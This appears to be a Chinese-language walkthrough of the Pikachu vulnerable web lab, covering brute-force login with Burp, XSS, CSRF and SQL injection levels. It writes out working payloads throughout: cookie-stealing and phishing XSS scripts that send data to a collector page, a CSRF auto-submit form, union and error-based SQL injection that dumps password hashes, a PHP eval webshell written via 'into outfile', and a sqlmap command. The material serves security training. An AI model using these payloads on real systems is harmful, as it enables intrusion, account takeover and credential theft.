暴力破解

基于表单的暴力破解

防御方式

该级别对暴力破解无任何防护

漏洞利用

使用Burpsuite抓包后将数据发送到Intrude模块中,将passowrd字段设置为变量
再将密码包导入,点击Start attack开始爆破,等待爆破结束后对比返回数据长度,与其他不同的就是密码了

基于表单的暴力破解

防御方式

该级别通过验证码的方式在服务器上对用户输入的验证码进行判断

漏洞利用

通过抓包将数据发送到Repeater模块后点击Run放行数据,可以看到返回的页面提示用户名或密码错误
将Repeater模块中password字段修改为其他字符,再次提交可以发现提示的信息还是用户名或密码错误,而不是验证码错误,可以判断该验证码一直有效
再参考上面的基于表单爆破进行尝试

验证码绕过(on server)

防御方式

该级别通过验证码的方式在客户端上对用户输入的验证码进行判断

漏洞利用

方法1: 同上

方法2: 使用浏览器将JS禁用掉之后就不用输入验证码了,再去使用Burpsuite爆破即可

token防爆破

防御方式

该级别在每次登录中都会携带不同的token,只有token正确才能进行登录,否则就显示 csrf token error

漏洞利用

使用Burpsuite抓包后将该数据发送到Intruder模块中,将password与user_token字段添加为变量

将攻击类型Attack type设置为Pitchfork

在Options下的Grep-Extract中点击Add添加攻击需要用到的信息(user_token)

在该页面点击Fetch response后在返回的代码中找到user_token的值,并将其选中后复制(后续需要用到)

在Options下的Request Engine请求线程数设置为1

选中Payload set 1 ,将Payload type 设置为Simple list

选中Payload set 2 ,将Payload type设置为Recursive grep

将刚才复制的user_token值设置为第一次请求的user_token值

开始攻击后会自动从网页中获取下一次的user_token值,并将该值携带到下一次请求中

如果在配置过程中出现错误需要重新抓包发送到Intruder模块中,重复上面的操作

发现有长度不一样的相应数据包,查看发现爆破成功,payload1处即为密码:

XSS漏洞(Cross-Site Scripting)

反射型(get)

防御方式

该级别对XSS无任何防护

漏洞利用

?message=<script>alert('xss')</script>&submit=submit

突破一下输入长度

进行xss(get)攻击,输入框输入?message=<script>alert('xss')</script>&submit=submit

反射型(post)

防御方式

该级别对XSS无任何防护

漏洞利用

使用提示的账号密码(admin|123456)登录后再编辑框中输入Payload测试

<script>alert('xss')</script>

<script>alert(document.cookie)</script>		# 弹Cookie

存储型XSS

防御方式

该级别对XSS无任何防护

if(array_key_exists('id', $_GET) && is_numeric($_GET['id'])){

//彩蛋:虽然这是个存储型xss的页面,但这里有个delete的sql注入
$query="delete from message where id={$_GET['id']}";
$result=execute($link, $query);
if(mysqli_affected_rows($link)==1){
echo "<script type='text/javascript'>document.location.href='xss_stored.php'</script>";
}else{
$html.="<p id='op_notice'>删除失败,请重试并检查数据库是否还好!</p>";
}
}

漏洞利用

存储型将留言的内容写入到数据库后,当用户访问该页面就会触发该漏洞

<script>alert('xss')</script>


DOM型XSS

防御方式

该级别对XSS无任何防护

漏洞利用

直接插入测试的Payload后页面并不会弹窗,观察前端代码发现Payload被包含在a标签的href属性中

#正常情况下
<div id="dom"><a href="">what do you see?</a></div>

可以使用单引号闭合跃出,onclick属性执行弹窗命令,点击超链接触发

#插入Payload:
'onclick=alert("xss")>
(插入这句就行了,下面的“做远远让人听见的风”是把它当成超链接,也是去往下一级的目录名称,
然后再执行后面的触发事件)

#插入Payload后(做远远让人听见的风'onclick=alert("xss")>)
<a href="做远远让人听见的风" onclick="alert("xss")">'>what do you see?</a>



DOM型XSS-x

防御方式

该级别对XSS无任何防护

漏洞利用

与上面的方法一样,可以使用onclick属性执行弹窗命令,点击超链接触发

' onclick=alert("xss")>

XSS之盲打

防御方式

该级别对XSS无任何防护

漏洞利用

盲打不是一种漏洞类型,而是一种攻击场景

在留言框或姓名中插入Payload测试,根据提示登录到后台查看留言的信息,直接触发XSS

管理员查看留言板后台的地址:/vul/xss/xssblind/admin_login.php
管理员账号密码admin | 123456

获取管理员Cookie

使用Pikachu自带的XSS平台构造Payload,获取管理员登录的Cookie

<script>document.location = 'http://127.0.0.1/pikachu-master/pkxss/xcookie/cookie.php?cookie=' + document.cookie;</script>

然后管理员登录了之后,会看到这个

说明成功了。
再去pikachu xss获取cookies结果页面查看:http://localhost/pikachu-master/pkxss/xcookie/pkxss_cookie_result.php

钓鱼攻击

需要先修改配置文件pkxss/xfish/fish.php
// 将下方的地址改为你的IP地址

header("Location: http://192.168.132.200:8000/pkxss/xfish/xfish.php?username={$_SERVER[PHP_AUTH_USER]}
#我这里改成(http://127.0.0.1/pikachu-master/pkxss/xfish/xfish.php?username={$_SERVER[PHP_AUTH_USER]})

改完之后,便做好了最基本的配置工作。

打开存储型xss(记住只有这个可以成功)

再将下方的Payload插入到留言板中,等用户访问留言板时会弹出认证的窗口,输入账号密码后就会发送到后台中

# Payload
<script src="http://127.0.0.1/pikachu-master/pkxss/xfish/fish.php"></script>


XSS之过滤

防御方式

过滤掉了<script

$message=preg_replace('/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/', '', $_GET['message']);

漏洞利用

# 大小写绕过
<SCRIPT>alert(xss)</SCRIPT>

# 使用其他的Payload
<img src="" onerror=alert('xss')>
<body onload=alert('XSS')>

XSS之htmlspecialchars

防御方式

将一些字符都转换为实体标签,如< 转换为<

漏洞利用

htmlspecialchars() 是PHP里面把预定义的字符转换为HTML实体的函数,被转换的字符如下

# 插入下方字符时
"<'>#?

# 被转换后的代码
<a href="&quot;<" &gt;#?'="">"&lt;'&gt;#?</a>

根据上方返回的信息可以看到字符 “ < >都被转换成了HTML实体函数,但字符’并未被转化(默认不对’进行处理)

插入的字符都会被包裹在a标签的href属性里,可以使用onclick属性执行弹窗命令

# 正常代码
<a href="1">1</a>

# Payload
' onclick=alert(/xss/) ' # 前后的'用于闭合a标签的href属性

# 插入Payload后
<a href="" onclick="alert(/xss/)" ''="">' onclick=alert(/xss/) '</a>

XSS之href输出

防御方式

如果输出的信息为www.baidu.com时则正常输出,反之则将输入的值使用htmlspecialchars()函数进行转换

if(isset($_GET['submit'])){
if(empty($_GET['message'])){
$html.="<p class='notice'>叫你输入个url,你咋不听?</p>";
}
if($_GET['message'] == 'www.baidu.com'){
$html.="<p class='notice'>我靠,我真想不到你是这样的一个人</p>";
}else {
//输出在a标签的href属性里面,可以使用javascript协议来执行js
//防御:只允许http,https,其次在进行htmlspecialchars处理
$message=htmlspecialchars($_GET['message'],ENT_QUOTES);
$html.="<a href='{$message}'> 阁下自己输入的url还请自己点一下吧</a>";
}
}

漏洞利用

根据源码中的提示可以使用javascript协议来执行js,当点击超链接时会执行该js脚本实现弹窗

javascript:alert(/test/)

# 前端代码如下
<a href="javascript:alert("xss")> 阁下自己输入的url还请自己点一下吧</a>

XSS之js输出

防御方式

该级别对XSS无任何防护

漏洞利用

当在编辑框中输入Hello时网页的JS代码如下显示,输入的值被包含在变量ms中

<script>
$ms='Hello';
if($ms.length != 0){
if($ms == 'tmac'){
$('#fromjs').text('tmac确实厉害,看那小眼神..')
}else {
// alert($ms);
$('#fromjs').text('无论如何不要放弃心中所爱..')
}
}
</script>

通过上方代码构造如下Payload,第一个标签用于闭合上面的标签

</script><script>alert('xss')</script>
# 闭合后的前端代码如下
<script>
$ms='</script>
<script>alert('xss')</script> # 这里的script被执行了
';
if($ms.length != 0){
if($ms == 'tmac'){
$('#fromjs').text('tmac确实厉害,看那小眼神..')
}else {
// alert($ms);
$('#fromjs').text('无论如何不要放弃心中所爱..')
}
}

CSRF

CSRF(GET)

防御方式

漏洞利用

根据提示中的账号密码登录账号后,在修改个人信息页面将信息进行修改抓包分析

可以看到修改资料的请求使用GET直接发送的

在vince登录状态下(其实这个链接里面是不包含用户名的,谁登录都无所谓,只要有人登录着就行,登录着的用户的信息就会被改成url提供的那些),试试改一改上面的链接,比如把电话号码改一改。然后用Burp进行重放,或者直接用浏览器地址栏输入Payload。

/pikachu-master/vul/csrf/csrfget/csrf_get_edit.php?sex=%E7%94%B7&phonenum=12345qq5&add=123qq132&email=1232131&submit=submit

构造如上Payload后,当用户使用同一个浏览器访问构造的URL后浏览器就会携带网站的Cookie,并自动提交表单中预设的个人信息,导致个人信息被修改。

如果觉得这个url过于明显,网上有很多短链接网站可以修饰url(百度搜索“短链接”就有很多)

CSRF(POST)

防御方式

漏洞利用

与GET提交类似,通过抓包可以看到POST提交的输入如下

sex=%E7%94%B7&phonenum=123&add=456&email=789&submit=submit

构造如下Payload后,当用户使用同一个浏览器访问构造的URL后浏览器就会携带网站的Cookie,并自动提交表单中预设的个人信息,导致个人信息被修改

<html>
<head>
<script>
window.onload = function() {
document.getElementById("postsubmit").click();
}
</script>
</head>
<body><form method="post" action="http://localhost/pikachu-master/vul/csrf/csrfpost/csrf_post_edit.php">
<input id="sex" type="text" name="sex" value="giao" />
<input id="phonenum" type="text" name="phonenum" value="123654789" />
<input id="add" type="text" name="add" value="giao" />
<input id="email" type="text" name="email" value="giao" />
<input id="postsubmit" type="submit" name="submit" value="submit" />
</form>
</body>
</html>

在攻击者的电脑cmd命令开启http服务
python -m http.server 80
创建文件post.html放在桌面,写入payload,在桌面打开cmd,输入python -m http.server 80
然后将链接:http://localhost:8000/post.html发送给被攻击者,被攻击者打开链接,信息就会被修改。

CSRF Token

防御方式

当修改信息时需要校验网页中的token信息,token信息都时随机生成的,且每次修改资料token值都会发生改变,该机制暂时无法绕过(无法知晓前端Token值)

漏洞利用

暂无

试了一下,这关删除token是无法修改用户信息的,多抓几个包之后也没有看出token有什么规律。

在一个浏览器上以lucy登录,到修改信息的页面,查看网页源代码获取token,再到另一个浏览器以lili登录,构造payload包含此token也是无法攻击成功的。

看一下代码,修改用户信息时,服务器会比较url中的token字段和session中的token字段,如果相同才能修改用户信息。

修改完用户信息之后,会用set_token()函数生成新的token,将其返回到html表单中并隐藏起来,以便下次用户修改信息时代入url。


set_token()函数如下图所示,在生成新token之前会先销毁老token,避免token重复使用。

SQL-Inject

注入常用套路

# 判断注入

?id=1' # 返回异常可能存在注入
?id=1'# # 井号注释掉后面的sql语句,返回正常可能存在注入(#需要转成%23)
?id=1'-- # --注释掉后面的sql语句,在url时(GET请求)中得改成--+,返回正常可能存在注入
?id=1 and 1=1 # 返回正常可能存在注入
?id=1 and 1=2 # 返回异常可能存在注入
?id=1 or 1=1 # 返回正常可能存在注入
?id=1 and select sleep(5) # 网页加载时间比平时慢5秒可能存在注入
# 猜字段数量

?id=1' order by 1# # 调整数字大小,在正常与异常的临界点则为字段数量
?id=1" order by 1#
?id=1 order by 1
# 查询数据库名

?id=1' union select 1,2,database()#
?id=1" union select 1,2,database()#
?id=1 union select 1,2,database()
# 查表名

?id=1' union select 1,TABLE_NAME,3 from information_schema.COLUMNS where TABLE_SCHEMA=database()#
?id=1 union select 1,TABLE_NAME,3 from information_schema.COLUMNS where TABLE_SCHEMA=database()
# 查字段名

?id=1' union select 1,COLUMN_NAME from information_schema.COLUMNS where TABLE_SCHEMA=database()# # 猜所有表的字段
?id=1 union select 1,COLUMN_NAME from information_schema.COLUMNS where TABLE_SCHEMA=database()
?id=1' union select 1,COLUMN_NAME FROM information_schema.columns where TABLE_NAME='users'# # 单独查询某个表的字段
# 查字段内容

?id=1' union select 字段1,字段2,字段3 from 表名#
?id=1 union select 字段1,字段2,字段3 from 表名
?id=1 union select 1,group_concat(字段名) from 表名 # 一般查询是一列输出的,group_concat()是拼接为一行输出的
?id=1 union select 1,group_concat(字段名) from 库名.表名
# 读文件
select load_file('/flag.txt') # 直接在数据库中执行
?id=1 union select 1,load_file('/flag.txt') # 联合查询读文件
?id=1 union select 1,load_file(0x2f666c61672e747874) # 如果过滤的是'或者是"时 使用十六进制对其进行编码

# 写文件
select '<?php phpinfo();?>' into outfile '/var/www/html/1.php'; # 直接在数据库中执行
?id=1 union select '<?php @eval($_POST["a"]);?>' into outfile '/var/www/html/1.php';
?id=1 union select '<?php @eval(\$_POST["a"]);?>' into outfile '/var/www/html/1.php'; # 在一定条件下需要使用\把$注释掉

select 0x3c3f70687020406576616c28245f504f53545b2261225d293b3f3e into outfile '/var/www/html/1.php'; # 将一句话马转为16进制

盲注常用函数

length() 返回字符串的长度

语法: length(查询到的数据)
示例: (当前数据库名为dvwa)

select length(database()); # 查询当前数据库名的长度

mysql> select length(database())>2; # 查询当前数据库名的长度是否大于2,正确返回1,错误返回0
+----------------------+
| length(database())>2 |
+----------------------+
| 1 |
+----------------------+

substr()截取字符串

语法: substr(字符串,起始位置,截取长度)
示例: (当前数据库名为dvwa)

select substr(database(),1,1); # 查询当前数据库名的第一个字符,返回 d
select substr(database(),2,1); # 查询当前数据库名的第一个字符,返回 v
select substr(database(),1,2); # 查询当前数据库名的前两个字符,返回 dv

mysql> select substr(database(),1,2);
+------------------------+
| substr(database(),1,2) |
+------------------------+
| dv |
+------------------------+

ascii()返回字符的Ascii码

语法: ascii(单个字符)
示例: (当前数据库名为dvwa)

select ascii('a'); # 查询字符a的ascii码,返回97
select ascii(substr(database(),1,1)); # 查询当前数据库名第一个字符的ascii码,返回100对应的字符为d
select ascii(substr(database(),2,1)); # 查询当前数据库名第二个字符的ascii码,返回118对应的字符为v

mysql> select ascii(substr(database(),2,1));
+-------------------------------+
| ascii(substr(database(),2,1)) |
+-------------------------------+
| 118 |
+-------------------------------+

sleep() 延时函数

语法: sleep(延时时间)
示例:
select sleep(2) # 延时2秒

mysql> select sleep(2);
+----------+
| sleep(2) |
+----------+
| 0 |
+----------+
1 row in set (2.00 sec) # 执行时间

if() 条件函数

语法: if(语句1,语句2,语句3)
示例:

如果语句1执行正确则接着执行语句2,如果执行错误则执行语句3
select if(1=1,'yes','no'); # 如果1=1成立则返回yes,不成立则返回no
select if(1=1,sleep(2),'no'); # 如果1=1成立则延时2秒,不成立则返回no
select if(substr(database(),1,1)='d',"yes","no"); # 当前数据库名第一个字符为d则返回yes
select if(ascii(substr(database(),1,1))=100,"yes","no"); # 当前数据库名第一个字符的ascii码为100则返回yes

mysql> select if(length(database())>2,"yes","no"); # 当前数据库名长度大于2的话则返回yes
+-------------------------------------+
| if(length(database())>2,"yes","no") |
+-------------------------------------+
| yes |
+-------------------------------------+

limit 限制查询条数

# 当猜表名时有多个表(substr函数一次只能处理一个字符串),需要用到limit 来限制一次只能输出一个表(一个字符串)
# (limit索引从0开始)

语法: limit 其起始,输出个数
示例:

users表下的user_id字段有内容: 1,2,3,4,5
select user_id from users limit 0,1 # 从第1个内容开始查询,返回一条数据,结果为1
select user_id from users limit 1 # 同上(起始位置默认为0)
select user_id from users limit 1,1 # 从第2个内容开始查询,返回一条数据,结果为2
select user_id from users limit 0,2 # 从第1个内容开始查询,返回两条数据,结果为12

# 查询当前数据库的第一个数据表表名长度
mysql> select length((select table_name from information_schema.tables where table_schema=database() limit 0,1));
+----------------------------------------------------------------------------------------------------+
| length((select table_name from information_schema.tables where table_schema=database() limit 0,1)) |
+----------------------------------------------------------------------------------------------------+
| 9 |
+----------------------------------------------------------------------------------------------------+

# 查询当前数据库的第二个数据表表名长度
mysql> select length((select table_name from information_schema.tables where table_schema=database() limit 1,1));
+----------------------------------------------------------------------------------------------------+
| length((select table_name from information_schema.tables where table_schema=database() limit 1,1)) |
+----------------------------------------------------------------------------------------------------+
| 5 |
+----------------------------------------------------------------------------------------------------+

# 查询当前数据库的第一个数据表的第一个字符的内容
mysql> select substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1);
+--------------------------------------------------------------------------------------------------------+
| substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1) |
+--------------------------------------------------------------------------------------------------------+
| g |
+--------------------------------------------------------------------------------------------------------+


# 不使用limit限制查询时
mysql> select substr((select table_name from information_schema.tables where table_schema=database()),1,1);
ERROR 1242 (21000): Subquery returns more than 1 row # 报错子查询超过一行

count() 返回查询数量

语法: count(查询到的数据)
示例:

users表下的user_id字段有内容: 1,2,3,4,5
select count((select user_id from users)); # 查询users表下的user_id字段有几个内容,返回5
select count(schema_name) from information_schema.schemata; # 查询数据库个数
select count(table_name) from information_schema.tables where table_schema='库名'; # 查询指定数据库的表个数
select count(column_name) from information_schema.columns where table_schema='库名' and table_name='表名'; # 查询指定库下表的字段个数
select count(字段名) from 库名.表名 # 查询指定库->表->字段 下的内容个数

mysql> select count(schema_name) from information_schema.schemata;
+--------------------+
| count(schema_name) |
+--------------------+
| 10 |
+--------------------+

group_concat() 成组返回

数字型注入(post)

防御方式

该级别对Sql注入无任何防护

$query="select username,email from member where id=$id";

漏洞利用

判断注入类型

id=1'       # 异常(You have an error in your SQL syntax; )
id=1# # 正常
id=1 and 1=1 # 正常
id=1 and 1=2 # 异常(您输入的user id不存在,请重新输入!)

// 该注入类型为数字型注入

猜字段数

id=1 order by 2     # 正常
id=1 order by 3 # 异常(Unknown column '3' in 'order clause')

// 共有两个字段

查询数据库名

id=0 union select 1,database()
//返回数据库名为pikachu

SQL语句如下
mysql> select username,email from member where id=0 union select 1,database();
+----------+---------+
| username | email |
+----------+---------+
| 1 | pikachu |
+----------+---------+

查询表名

id=0 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()
//返回表名有 httpinfo,member,message,users,xssblind

SQL语句如下
mysql> select username,email from member where id=0 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database();
+----------+----------------------------------------+
| username | email |
+----------+----------------------------------------+
| 1 | httpinfo,member,message,users,xssblind |
+----------+----------------------------------------+

### 查询字段名
users表
id=0 union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'
//该表下有字段id,username,password,level

SQL语句如下
mysql> select username,email from member where id=0 union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users';
+----------+----------------------------+
| username | email |
+----------+----------------------------+
| 1 | id,username,password,level |
+----------+----------------------------+

查询内容

users表下的username,password字段内容
id=0 union select group_concat(username),group_concat(password) from users

SQL语句如下
mysql> select username,email from member where id=0 union select group_concat(username),group_concat(password) from users;
+--------------------+----------------------------------------------------------------------------------------------------+
| username | email |
+--------------------+----------------------------------------------------------------------------------------------------+
| admin,pikachu,test | e10adc3949ba59abbe56e057f20f883e,670b14728ad9902aecba32e22fa4f6bd,e99a18c428cb38d5f260853678922e03 |
+--------------------+----------------------------------------------------------------------------------------------------+

字符型注入

防御方式

该级别对SQL注入无任何防护

$query="select id,email from member where username='$name'";

漏洞利用

判断注入类型

?name=vince'        # 返回异常
?name=vince" # 返回正常
?name=vince'%23 # 返回正常
?name=vince' and '1'='1 # 返回正常
?name=vince' and '1'='2 # 返回异常

//该注入类型为字符型,且闭合符号为 '

将数字型的Payload变形一下就可以

# 猜字段数
?name=vince' order by 2%23

# 查询数据库名
?name=vince' union select 1,database()%23

# 查询表名
?name=vince' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()%23

# 查询字段名
?name=vince' union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'%23

# 查询字段内容
?name=vince' union select group_concat(username),group_concat(password) from users%23

搜索型注入

防御方式

该级别对SQL注入无任何防护

$query="select username,id,email from member where username like '%$name%'";

漏洞利用

select xx,xx,xx from xx where xxx like '%输入的值%';

继续判断该级别的SQL闭合符号

?name=a%"%23        # 搜索异常
?name=a%'%23 # 搜索正常
?name=%'%23 # 搜索异常(所有用户信息全部出现)
?name=a%')%23 # 异常


//可以确定该查询的闭合为 '%xx%'

Payload如下

# 猜字段数
?name=a%' order by 3%23

# 查询数据库名(为了方便观察,把查询的字符改成其他)
?name=1%' union select 1,2,database()%23

# 查询表名
?name=1%' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()%23

# 查询字段名
?name=1%' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'%23

# 查询字段内容
?name=1%' union select 1,group_concat(username),group_concat(password) from users%23

xx型注入

防御方式

该级别对SQL注入无任何防护

$query="select id,email from member where username=('$name')";

漏洞利用
xx型不是一种注入类型,只是修改了上方的闭合符号而已

根据题目可以了解到大概的SQL语句

select xxx,xxx,xxx from xxx where xxx='xx';

继续判断该级别的SQL闭合符号

?name=allen         # 显示正常
?name=allen'%23 # 显示异常
?name=allen"%23 # 显示异常
?name=allen')%23 # 显示正常
?name=allen")%23 # 显示异常

//可以确定该级别的闭合符号为 ('xxx')

对上题的Payload进行变形即可

# 猜字段数
?name=a') order by 2%23

# 查询数据库名
?name=1') union select 1,database()%23

# 查询表名
?name=1') union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()%23

# 查询字段名
?name=1') union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'%23

# 查询字段内容
?name=1') union select group_concat(username),group_concat(password) from users%23

inster注入

防御方式

该级别对SQL注入无任何防护

$query="insert into member(username,pw,sex,phonenum,email,address) values('{$getdata['username']}',md5('{$getdata['password']}'),'{$getdata['sex']}','{$getdata['phonenum']}','{$getdata['email']}','{$getdata['add']}')";

相关函数
updatexml() 函数将xml_target中用xpath路径匹配到xml片段后应new_xml替换,返回更改后的xml

# 语法
updatexml(xml_target,xpath,new_xml)

# 示例
mysql> select updatexml(1,concat(0x7e,(select database()),0x7e),1); # 查询数据库名(0x7e为十六进制的~)
ERROR 1105 (HY000): XPATH syntax error: '~pikachu~'

mysql> select updatexml(1,concat(0x7e,(select user()),0x7e),1); # 查询用户名
ERROR 1105 (HY000): XPATH syntax error: '~root@192.168.132.222~'

mysql> select updatexml(1,(select user()),1); # 不使用concat()时查询数据不完整
ERROR 1105 (HY000): XPATH syntax error: '@192.168.132.222'

mysql> select updatexml(1,concat(0x7e,(select version()),0x7e),1); # 查询数据库版本号
ERROR 1105 (HY000): XPATH syntax error: '~5.5.62-log~'

extractValue() 函数返回xml_frag用xpath路径匹配到的xml片段

# 语法
extractValue(xml_frag,xpath)

漏洞利用
使用BurpSuite抓包后可以看到注册时提交的输入如下

# 编码前
username=test&password=123456&sex=男&phonenum=12312312311&email=123@qq.com&add=北京&submit=submit

# 编码后
username=test&password=123456&sex=%E7%94%B7&phonenum=12312312311&email=123%40qq.com&add=%E5%8C%97%E4%BA%AC&submit=submit

可以推算出注册用户时大概的SQL语句如下:

可以推算出注册用户时大概的SQL语句如下:

构造如下Payload测试是否存在SQL注入

username=test','123','','','','')%23&password=123&sex=&phonenum=&email=&add=&submit=submit

# 返回注册成功,该处存在SQL注入
# SQL语句如下
insert into member(username,pw,sex,phonenum,email,address) values('test','123','','','','');

猜数据库名

username=a' and updatexml(1,concat(0x7e,(select database()),0x7e),1) or'

# SQL语句如下
mysql> insert into member(username,pw,sex,phonenum,email,address) values('a' and updatexml(1,concat(0x7e,(select database()),0x7e),1) or '','','','','');
ERROR 1105 (HY000): XPATH syntax error: '~pikachu~'


猜数据表名

# 使用group_concat()时因数据过长所以显示不完全
username=a' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1) or'

# 使用limit限制查询数量,每次查询一条结果
username=a' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e),1) or'


猜字段名

username=a' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),0x7e),1) or'

猜字段内容

# 查询用户名
username=a' and updatexml(1,concat(0x7e,(select username from users limit 0,1),0x7e),1) or'

# 查询密码
username=a' and updatexml(1,concat(0x7e,(select password from users limit 0,1),0x7e),1) or'

# 查询密码时最后一位显示不完全,可能是因为长度太长,将~替换为.就可以显示出来
username=a' and updatexml(1,concat('.',(select password from users limit 0,1)),1) or'


Sqlmap Payload

sqlmap -u "http://192.168.132.200:8000/vul/sqli/sqli_iu/sqli_reg.php" --data="username=admin&password=123&sex=&phonenum=&email=&add=&submit=submit" -p username